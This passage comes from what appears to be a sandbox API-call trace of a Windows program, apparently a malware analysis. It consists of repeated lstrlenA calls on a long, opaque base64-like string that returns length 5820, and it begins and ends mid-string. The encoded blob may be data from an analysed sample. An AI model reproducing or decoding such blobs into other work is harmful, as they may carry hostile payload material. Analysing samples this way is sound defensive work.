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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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